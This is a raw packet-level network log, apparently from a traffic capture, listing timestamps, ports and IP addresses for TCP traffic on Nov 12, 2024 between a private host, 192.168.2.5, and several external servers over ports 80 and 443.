Nov 12, 2024 06:23:33.992177010 CET	54520	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.994174957 CET	443	54519	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.994208097 CET	443	54519	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.994262934 CET	443	54519	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.994278908 CET	54519	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.994322062 CET	54519	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.996352911 CET	54518	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.996360064 CET	443	54518	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.996695042 CET	54532	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.996714115 CET	443	54532	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.996900082 CET	54532	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.997808933 CET	54532	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.997819901 CET	443	54532	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:33.998408079 CET	54521	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:33.998430967 CET	443	54521	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:34.003492117 CET	54520	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:34.003504992 CET	443	54520	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:34.005338907 CET	54519	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:34.005357981 CET	443	54519	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:34.012459993 CET	443	54523	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:34.013529062 CET	54523	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:34.013556004 CET	443	54523	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:34.014542103 CET	54523	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:34.014548063 CET	443	54523	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:34.119277000 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.119291067 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.119332075 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.119354010 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.119370937 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.119445086 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.119456053 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.119467020 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.119473934 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.119488001 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.119488001 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.119508028 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.119508982 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.119528055 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.119541883 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.119632006 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.119645119 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.119657040 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.119678974 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.119703054 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.119723082 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.119745970 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.119757891 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.119774103 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.119776011 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.119787931 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.119797945 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.119815111 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.120049000 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.120059013 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.120095968 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.120115995 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.120129108 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.120140076 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.120153904 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.120156050 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.120170116 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.120198011 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.120250940 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.120275974 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.120285034 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.120290995 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.120323896 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.120325089 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.120338917 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.120352030 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.120367050 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.120376110 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.120613098 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.120625973 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.120640993 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.120645046 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.120656013 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.120673895 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.120719910 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.120732069 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.120753050 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.120757103 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.120765924 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.120776892 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.120785952 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.120801926 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.145809889 CET	443	54523	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:34.145868063 CET	443	54523	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:34.145956993 CET	54523	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:34.147471905 CET	54523	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:34.147490978 CET	443	54523	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:34.147500038 CET	54523	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:34.147505999 CET	443	54523	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:34.156044960 CET	54533	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:34.156084061 CET	443	54533	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:34.156152010 CET	54533	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:34.156392097 CET	54533	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:34.156402111 CET	443	54533	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:34.185492992 CET	443	54522	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:34.186562061 CET	54522	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:34.186594963 CET	443	54522	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:34.188406944 CET	54522	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:34.188415051 CET	443	54522	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:34.188507080 CET	54522	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:34.188519955 CET	443	54522	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:34.189567089 CET	443	54524	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:34.190211058 CET	54524	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:34.190237045 CET	443	54524	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:34.190720081 CET	54524	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:34.190726042 CET	443	54524	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:34.222477913 CET	443	54525	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:34.222790956 CET	54525	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:34.222805023 CET	443	54525	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:34.223253012 CET	54525	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:34.223258018 CET	443	54525	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:34.234675884 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.234699011 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.234715939 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.234731913 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.234745026 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.234745026 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.234755993 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.234761953 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.234766960 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.234782934 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.234791994 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.234798908 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.234826088 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.234963894 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.234973907 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.234992981 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.234997988 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.235028982 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.235059023 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.235065937 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.235105038 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.235110044 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.235116959 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.235129118 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.235141993 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.235152960 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.235177994 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.235291958 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.235302925 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.235321045 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.235335112 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.235343933 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.235362053 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.235373974 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.235385895 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.235399008 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.235413074 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.235419989 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.235438108 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.235601902 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.235613108 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.235625029 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.235636950 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.235642910 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.235671997 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.235800028 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.235811949 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.235822916 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.235846996 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.235874891 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.235878944 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.235892057 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.235903025 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.235908985 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.235922098 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.235923052 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.235939980 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.235944033 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.235953093 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.235956907 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.235966921 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.235977888 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.235992908 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.235996962 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.236016989 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.236025095 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.241142035 CET	443	54527	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:34.241516113 CET	54527	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:34.241525888 CET	443	54527	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:34.241906881 CET	54527	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:34.241911888 CET	443	54527	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:34.250946045 CET	443	54526	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:34.251264095 CET	54526	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:34.251276970 CET	443	54526	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:34.251651049 CET	54526	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:34.251656055 CET	443	54526	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:34.254065990 CET	54534	443	192.168.2.5	23.221.22.212
Nov 12, 2024 06:23:34.254097939 CET	443	54534	23.221.22.212	192.168.2.5
Nov 12, 2024 06:23:34.254173994 CET	54534	443	192.168.2.5	23.221.22.212
Nov 12, 2024 06:23:34.254477024 CET	54535	443	192.168.2.5	23.221.22.212
Nov 12, 2024 06:23:34.254502058 CET	443	54535	23.221.22.212	192.168.2.5
Nov 12, 2024 06:23:34.254579067 CET	54535	443	192.168.2.5	23.221.22.212
Nov 12, 2024 06:23:34.254853010 CET	54536	443	192.168.2.5	23.221.22.212
Nov 12, 2024 06:23:34.254880905 CET	443	54536	23.221.22.212	192.168.2.5
Nov 12, 2024 06:23:34.254945040 CET	54536	443	192.168.2.5	23.221.22.212
Nov 12, 2024 06:23:34.255085945 CET	54534	443	192.168.2.5	23.221.22.212
Nov 12, 2024 06:23:34.255099058 CET	443	54534	23.221.22.212	192.168.2.5
Nov 12, 2024 06:23:34.255182981 CET	54535	443	192.168.2.5	23.221.22.212
Nov 12, 2024 06:23:34.255192995 CET	443	54535	23.221.22.212	192.168.2.5
Nov 12, 2024 06:23:34.255285025 CET	54536	443	192.168.2.5	23.221.22.212
Nov 12, 2024 06:23:34.255297899 CET	443	54536	23.221.22.212	192.168.2.5
Nov 12, 2024 06:23:34.274084091 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.274110079 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.274123907 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.274139881 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.274142981 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.274154902 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.274167061 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.274167061 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.274178028 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.274202108 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.274214983 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.274225950 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.274230957 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.274239063 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.274257898 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.274272919 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.274328947 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.274372101 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.274384022 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.274410963 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.274425030 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.278565884 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.278575897 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.278615952 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.287394047 CET	443	54517	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:34.287419081 CET	443	54517	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:34.287467003 CET	54517	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:34.287481070 CET	443	54517	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:34.287498951 CET	443	54517	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:34.287539005 CET	54517	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:34.288434982 CET	54517	443	192.168.2.5	13.107.246.57
Nov 12, 2024 06:23:34.288448095 CET	443	54517	13.107.246.57	192.168.2.5
Nov 12, 2024 06:23:34.320163012 CET	443	54524	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:34.320291996 CET	443	54524	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:34.320364952 CET	54524	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:34.320596933 CET	54524	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:34.320612907 CET	443	54524	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:34.320624113 CET	54524	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:34.320628881 CET	443	54524	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:34.330755949 CET	54537	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:34.330799103 CET	443	54537	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:34.330904961 CET	54537	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:34.331075907 CET	54537	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:34.331085920 CET	443	54537	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:34.350322962 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.350387096 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.350414991 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.350430965 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.350442886 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.350455999 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.350456953 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.350470066 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.350481987 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.350486040 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.350493908 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.350505114 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.350517988 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.350527048 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.350529909 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.350541115 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.350549936 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.350562096 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.350570917 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.350574017 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.350591898 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.350610018 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.350672960 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.350684881 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.350696087 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.350704908 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.350708008 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.350720882 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.350723982 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.350733042 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.350737095 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.350750923 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.350775957 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.351155043 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.351165056 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.351205111 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.351212978 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.351217031 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.351233959 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.351244926 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.351257086 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.351274967 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.351716042 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.351727009 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.351737022 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.351769924 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.351783991 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.351795912 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.351798058 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.351807117 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.351830006 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.351846933 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.352546930 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.352556944 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.352566957 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.352601051 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.352611065 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.352617979 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.352624893 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.352639914 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.352663994 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.353264093 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.353322983 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.353332996 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.353343010 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:34.353360891 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.353385925 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:34.354233027 CET	443	54525	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:34.354743004 CET	443	54525	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:34.354799986 CET	54525	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:34.354863882 CET	54525	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:34.354880095 CET	443	54525	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:34.354891062 CET	54525	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:34.354897976 CET	443	54525	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:34.357500076 CET	54538	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:34.357518911 CET	443	54538	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:34.357583046 CET	54538	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:34.357763052 CET	54538	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:34.357774019 CET	443	54538	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:34.370620012 CET	443	54527	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:34.370836973 CET	443	54527	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:34.370886087 CET	54527	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:34.371877909 CET	54527	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:34.371877909 CET	54527	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:34.371886969 CET	443	54527	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:34.371896029 CET	443	54527	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:34.373003006 CET	54539	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:34.373018026 CET	443	54539	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:34.373090982 CET	54539	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:34.373233080 CET	54539	443	192.168.2.5	13.107.246.45
